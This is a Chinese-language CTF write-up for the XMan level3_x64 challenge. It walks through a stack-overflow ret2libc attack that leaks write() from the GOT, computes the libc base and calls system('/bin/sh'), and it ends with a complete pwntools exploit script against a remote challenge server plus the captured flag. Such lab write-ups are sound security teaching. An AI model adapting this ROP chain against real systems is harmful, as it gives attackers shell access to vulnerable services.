CTF – XMan – level3(x64)

题目说明

题目来源: XMan

题目: level3_x64.rar

read() 栈溢出 ROP 执行语句

解题步骤

解压后得到level3_64和libc-2.19.so,查看level3_64文件类型是64位的elf文件,安全机制开了栈不可执行,不考虑shellcode

使用IDA64打开看到主函数的伪代码

查看vulerable_function()函数伪代码

查看函数列表和字符串列表中不存在system()和/bin/sh字符串,但是给出了libc文件,按照x32位的方法在libc文件中找就行了

32位程序中,参数直接入栈,调用函数的栈结构为:

1
调用函数地址 —> 函数返回地址 -> 参数n -> 参数n-1 -> 参数1

64为程序中,参数传递需要寄存器:

1
2
参数少于七个时,参数按顺序存在寄存器:rdirsirdxrcxr8r9
参数超过六个时,从第七个开始压入栈中

按照level3-x32思路,使用write()leak出关键函数然后计算出偏移量,需要三个参数,按照传递顺序需要寄存器rdi、rsi、rdx
使用ROPgadget查找pop rdi/rsi/rdx

整理一下需要的语句

1
2
0x4006B3 pop rdi ; ret 
0x4006B1 pop rsi ; pop r15 ; ret

但是没有pop rdx语句,rdx的参数是读入长度,如果rdx的值大于8就不需要处理,使用ollydbg在vulnerable_function处下断点并查看寄存器的值,得到rdx的值为0x200,不需要处理

Payload1构成: 0x80填充buf + 0x8填充EBP + p64(poprdi) + p64(0x1) + p64(poprsir15) + write_got位置 + p64(0x1)填充r15 + write_plt调用 + vulnerable_function()返回
执行write(0x1,write_got,0x200),返回为vulnerable_function()

Payload1构成: 0x80填充buf + 0x8填充EBP + p64(poprdi) + /bin/sh地址 + system()地址 + exit()返回
执行system(“/bin/sh”),返回为exit()

写出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

p = remote('pwn2.jarvisoj.com','9883')
e = ELF('./level3_x64')
libc = ELF('./libc-2.19.so')

plt_write = e.plt['write']
got_write = e.got['write']
vule_addr = e.symbols['vulnerable_function']

write_libc = libc.symbols['write']
syste_libc = libc.symbols['system']
exitf_libc = libc.symbols['exit']
binsh_libc = libc.search("/bin/sh").next()

pop_rdi = 0x4006B3
pop_rsi = 0x4006B1

p.recv()
payload1 = 'A'*0x80 + 'A'*0x8 + p64(pop_rdi) + p64(0x1) + p64(pop_rsi) + p64(got_write) + p64(0x1) + p64(plt_write) + p64(vule_addr)
p.send(payload1)

write_addr = u64(p.recv(8))
print("write addr - "+hex(write_addr))

base_addr = write_addr - write_libc
syst_addr = base_addr + syste_libc
bins_addr = base_addr + binsh_libc
exit_addr = base_addr + exitf_libc

p.recv()
payload2 = 'A'*0x80 + 'A'*0x8 + p64(pop_rdi) + p64(bins_addr) + p64(syst_addr) + p64(exit_addr)
p.send(payload2)

p.interactive()

运行得到flag

flag:

1
CTF{b1aeaa97fdcc4122533290b73765e4fd}